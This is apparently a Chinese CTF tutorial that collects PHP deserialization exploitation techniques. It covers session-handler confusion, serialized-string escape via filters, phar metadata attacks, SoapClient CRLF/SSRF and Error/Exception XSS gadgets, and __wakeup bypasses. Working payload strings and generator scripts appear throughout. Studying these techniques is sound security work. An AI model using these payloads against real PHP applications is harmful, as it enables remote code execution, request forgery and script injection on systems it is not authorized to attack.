PHP反序列化姿势集总

php魔法方法

__wakeup() //执行unserialize()时,先会调用这个函数	★
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发	  ★
__call() //在对象上下文中调用不可访问的方法时触发	★
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法	  ★
__set() //用于将数据写入不可访问的属性 	★
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发		★
__invoke() //当尝试将对象调用为函数时触发	   ★

session反序列化

带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com)

PHP session 的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储。

文件的内容始终是session值的序列化之后的内容。

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + | + session经过序列化处理的值
php_binary 键名长度对应的 ASCII 字符 + 键名 + session经过序列化处理的值
php_serialize session经过序列化处理的数组

CTF中的session反序列化与phpphp_serialize这2个引擎有关。

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

当我们用php_serialize引擎写入session后,再用php引擎去读取session,就会造成危害。

举个例子:

源码:

<?php
//session.serialize_handler默认是php引擎
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');//指定php_serialize引擎
session_start();
$_SESSION['session'] = $_GET['sess'];
?>

sess传参hello,此时session文件内容为:

a:1:{s:7:"session";s:5:"hello";}

看似一点伤害都没有,但是如果此时存在一个这样的文件:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');//这句不写都行,只要确定是默认php引擎
session_start();
class Test{
    public $cmd = '';
    function __wakeup(){
		eval($this->cmd);
    }
}
$str = new Test();
?>

然后我们构造出恶意的序列化内容:

O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}

如果在sess传参:?sess=|O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}

此时session文件变成:

a:1:{s:7:"session";s:44:"|O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}";}

当我们用这个session去访问第二个页面时,通过php引擎读取到的$_SESSION的值就变成了:

array (size=1)
  'a:1:{s:7:"session";s:44:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'Test' (length=4)
      public 'cmd' => string 'phpinfo();' (length=10)

显然,键名不再是session,而变成了a:1:{s:7:"session";s:44:",这是因为php引擎将|当做了分隔符,将O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}";}当做了值。进行反序列化时,后面的";} 将不会被考虑在内。

所以session经过序列化处理的值变成了O:4:"Test":1:{s:3:"cmd";s:10:"phpinfo();";}

也就是我们构造的恶意序列化内容。访问第二个页面时,就会执行phpinfo()

总结一下吧:

php_serialize引擎下控制传参更改session内容,用|起头,后面接poc;

然后访问 使用php引擎 的页面。

反序列化字符串逃逸

PHP反序列化字符逃逸详解 - FreeBuf网络安全行业门户

字符增多

对我们输入的序列化后里的 关键字符串 替换成长度更长的字符串。

例子:

<?php
function filter($str){
    return preg_replace('/admin/i','hacked',$str);
}
class Test{
    public $k;
    public $cmd = '';
    function __construct($k)
    {
      $this->k=$k;
      $this->cmd="echo 'nono~';";
    }
    function __wakeup(){
		  eval($this->cmd);
    }
}
$a = new Test($_GET['k']);//可控参数
unserialize(filter(serialize($a)));
?>

如果直接传参?k=admin ,得到的序列化字符串为:

O:4:"Test":2:{s:1:"k";s:5:"admin";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前
O:4:"Test":2:{s:1:"k";s:5:"hacked";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后

我们要让$cmd=phpinfo(); 则应该是这样的:

O:4:"Test":2:{s:1:"k";s:5:"admin";s:3:"cmd";s:10:"phpinfo();";}

如果我们直接传参?k=admin";s:3:"cmd";s:10:"phpinfo();";}

O:4:"Test":2:{s:1:"k";s:36:"admin";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前
O:4:"Test":2:{s:1:"k";s:36:"hacked";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后

过滤前,k的值为admin";s:3:"cmd";s:10:"phpinfo();";} ,长度是36.

过滤后,k的值长度还是36,但是hacked比admin多一个字符,这就导致hacked";s:3:"cmd";s:10:"phpinfo();";}的最后一个} 逃逸出去了。

想让过滤后的序列化字符串变得正常,我们就需要逃逸出";s:3:"cmd";s:10:"phpinfo();";} 这些字符,也就是31个字符长度。

admin–>hacked每次加1个字符,所以我们需要 31个admin ,然后后面接上我们构造的";s:3:"cmd";s:10:"phpinfo();";}

?k=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:3:"cmd";s:10:"phpinfo();";}

此时phpinfo执行成功了。

我们可以观察一下此时过滤后的序列化字符串:

O:4:"Test":2:{s:1:"k";s:186:"hackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhackedhacked";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}

hacked的长度刚好是186。

字符减少

对我们输入的序列化后里的 关键字符串 替换成长度更短的字符串。

例子:

<?php
function filter($str){
    return preg_replace('/admin/i','hack',$str);
}
class Test{
    public $k;
    public $p;
    public $cmd = '';
    function __construct($k,$p)
    {
      $this->k=$k;
      $this->p=$p;
      $this->cmd="echo 'nono~';";
    }
    function __wakeup(){
		  eval($this->cmd);
    }
}
$a = new Test($_GET['k'],$_GET['p']);//可控参数
unserialize(filter(serialize($a)));
?>

这种情况需要有2个可控的变量。

如果直接传参?k=admin&p=a

//过滤前
O:4:"Test":3:{s:1:"k";s:5:"admin";s:1:"p";s:1:"a";s:3:"cmd";s:13:"echo 'nono~';";}
O:4:"Test":3:{s:1:"k";s:5:"hack";s:1:"p";s:1:"a";s:3:"cmd";s:13:"echo 'nono~';";}
//过滤后

k的值变短了,后面的字符串会一个个缩进来。如果我们让";s:1:"p";s:1:"缩进去,那么后面的都取决于p的值,这是可控的。

O:4:"Test":3:{s:1:"k";s:5:" admin";s:1:"p";s:1:" a";s:3:"cmd";s:13:"echo 'nono~';";}
                           ↑____________________↑
箭头所指的范围变成k的值,后面的a是可控的!
需要缩进去的字符串为: ";s:1:"p";s:1:   长度是14

因此我们先构造14个admin。

接下来构造p的值。

理想序列化字符串为:

O:4:"Test":3:{s:1:"k";s:5:"admin";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}

所以如果我们传参p=;s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}

O:4:"Test":3:{s:1:"k";s:70:"adminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:1:"p";s:46:";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤前


O:4:"Test":3:{s:1:"k";s:70:"hackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:1:"p";s:46:";s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}";s:3:"cmd";s:13:"echo 'nono~';";}//过滤后

此时是没有执行成功的,那是因为";s:1:"p";s:1:变成了";s:1:"p";s:46: ,p的长度变成了两位数,因此需要缩进的字符串需要再加一个,也就是需要15个admin。

payload:

?k=adminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin&p=;s:1:"p";s:1:"a";s:3:"cmd";s:10:"phpinfo();";}

OK兄弟萌,我们总结一下:

字符增多的情况下,需要构造的关键字个数是:从可控变量的值的最后一个引号(包括引号)一直到最后大括号。

​ O:4:”Test”:2:{s:1:”k”;s:5:”admin”;s:3:”cmd”;s:10:”phpinfo();”;}

​ “;s:3:”cmd”;s:10:”phpinfo();”;}

字符减少的情况下,需要构造的关键字个数是:第一个可控变量值的最后一个引号(包括引号)一直到第二个可控变量的值前的冒号。

​ O:4:”Test”:3:{s:1:”k”;s:5:”admin”;s:1:”p”;s:1:”a”;s:3:”cmd”;s:10:”phpinfo();”;}

​ “;s:1:”p”;s:1:

phar反序列化

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

Phar基础

Phar是将 php文件 打包 而成的一种 压缩文档

Phar文件由四个部分组成(PHP: Manual):

  1. a stub
  2. a manifest describing the contents
  3. the file contents
  4. [optional] a signature for verifying Phar integrity (phar file format only)

a stubPHP: Manual

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents【PHP: Manual

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以==序列化==的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)【PHP: Manual

签名,放在文件末尾。

Phar文件内容有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

利用

利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

Phar文件生成利用模板:

构造phar之时需要先要将 php.ini 中的 phar.readonly 选项设置为 Off

<?php
    class TestObject {
    }
    $o = new TestObject();

    $phar = new Phar("phar.phar");//后缀名必须是phar
    $phar->startBuffering();//启动写入操作
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();//停止写入请求
?>

生成文件后,可以修改phar文件的文件名及其后缀,不影响phar协议解析

然后将Phar文件上传,利用phar协议解析。

其它的协议配合phar协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/resource=phar://phar.phar
compress.zlib://phar://phar.phar
compress.bzip://phar://phar.phar

原生类的利用

PHP 原生类的利用小结 - 先知社区 (aliyun.com)

浅谈PHP原生类反序列化-安全客 - 安全资讯平台 (anquanke.com)

在CTF中常使用到的原生类有这几类
1、Error
2、Exception
3、SoapClient
4、DirectoryIterator
5、SimpleXMLElement
下面针对这几个类来进行总结。

SoapClient

PHP: SoapClient - Manual

soap是webServer的三要素之一(SOAP、WSDL、UDDI)

WSDL用来描述如何访问具体的接口
UUDI用来管理、分发、查询webServer
SOAP是连接web服务和客户端的接口

简单地说,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。

SoapClient类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为 null 则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项。
    • location是要将请求发送到的SOAP服务器的URL
    • uri 是SOAP服务的目标命名空间。

第二个参数允许设置user_agent选项来设置请求的user-agent头

【GET】

<?php
$target = "http://127.0.0.1";//这后面是可以带参数的
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "aaa\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

【POST】

<?php
$target = 'http://127.0.0.1';
$post_string = 'cmd=123';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=123'
);
$attack = new SoapClient(null, array(
  'location' => $target,
  'user_agent'=> "aaa\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
  'uri'=> "123"
));
$payload = urlencode(serialize($attack));
echo $payload;
?>

Error/Exception

Error

使用条件:

  • php7版本
  • 开启报错的情况下
<?php
$a = new Error("<script>alert(1)</script>");//xss
$b = serialize($a);
$b = urlencode($b);  // 因为有不可见字符,所以url编码一下
echo $b;

// 测试
echo unserialize(urldecode($b));

Exception

使用条件:

  • 适用于php5、7版本
  • 开启报错的情况下
<?php
$a = new Exception("<script>alert(1)</script>");
$b = serialize($a);
$b = urlencode($b);  // 因为有不可见字符,所以url编码一下
echo $b;

// 测试
echo unserialize(urldecode($b));

他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。

在来看看下一个例子:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

可见,报错信息一模一样。那么md5和sha后的结果也肯定是一样的。可以绕过md5强比较。

绕过trick

wakeup绕过

低版本

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

把对象原来属性值改成比原来的大就行。

修改前:O:6:”sercet”:1:{s:12:”%00sercet%00file”;s:8:”flag.php”;}
修改后:O:6:”sercet”:2:{s:12:”%00sercet%00file”;s:8:”flag.php”;}


高版本

PHP :: Bug #81153 :: unserialize error calls __destruct before __wakeup

  • 7.4.x -7.4.30
  • 8.0.x

当反序列化的字符串中包含字符串长度错误的变量名时,反序列化会继续进行,但会在调用 wakeup 之前调用 destruct() 函数。这样就可以绕过 __wakeup()。

修改前:O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:4:”flag”;b:1;}}
修改后:
O:1:”C”:1:{s:1:”c”;O:1:”D”:0:{s:4:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:2:{s:4:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:0:”flag”;b:1;}}
O:1:”C”:1:{s:1:”c”;O:1:”D”:1:{s:4:”flag”;b:1;};}
O:1:”C”:1:{s:1:”c”;O:1:”D”:0:{};N;}

PHP :: Bug #81151 :: bypass __wakeup

把O改成C,但是{}内不能有任何字符

C代表这个类实现了serializeable接口,serializeable不支持wakeup,就绕过去了

O:1:”E”:0:{}
C:1:”E”:0:{}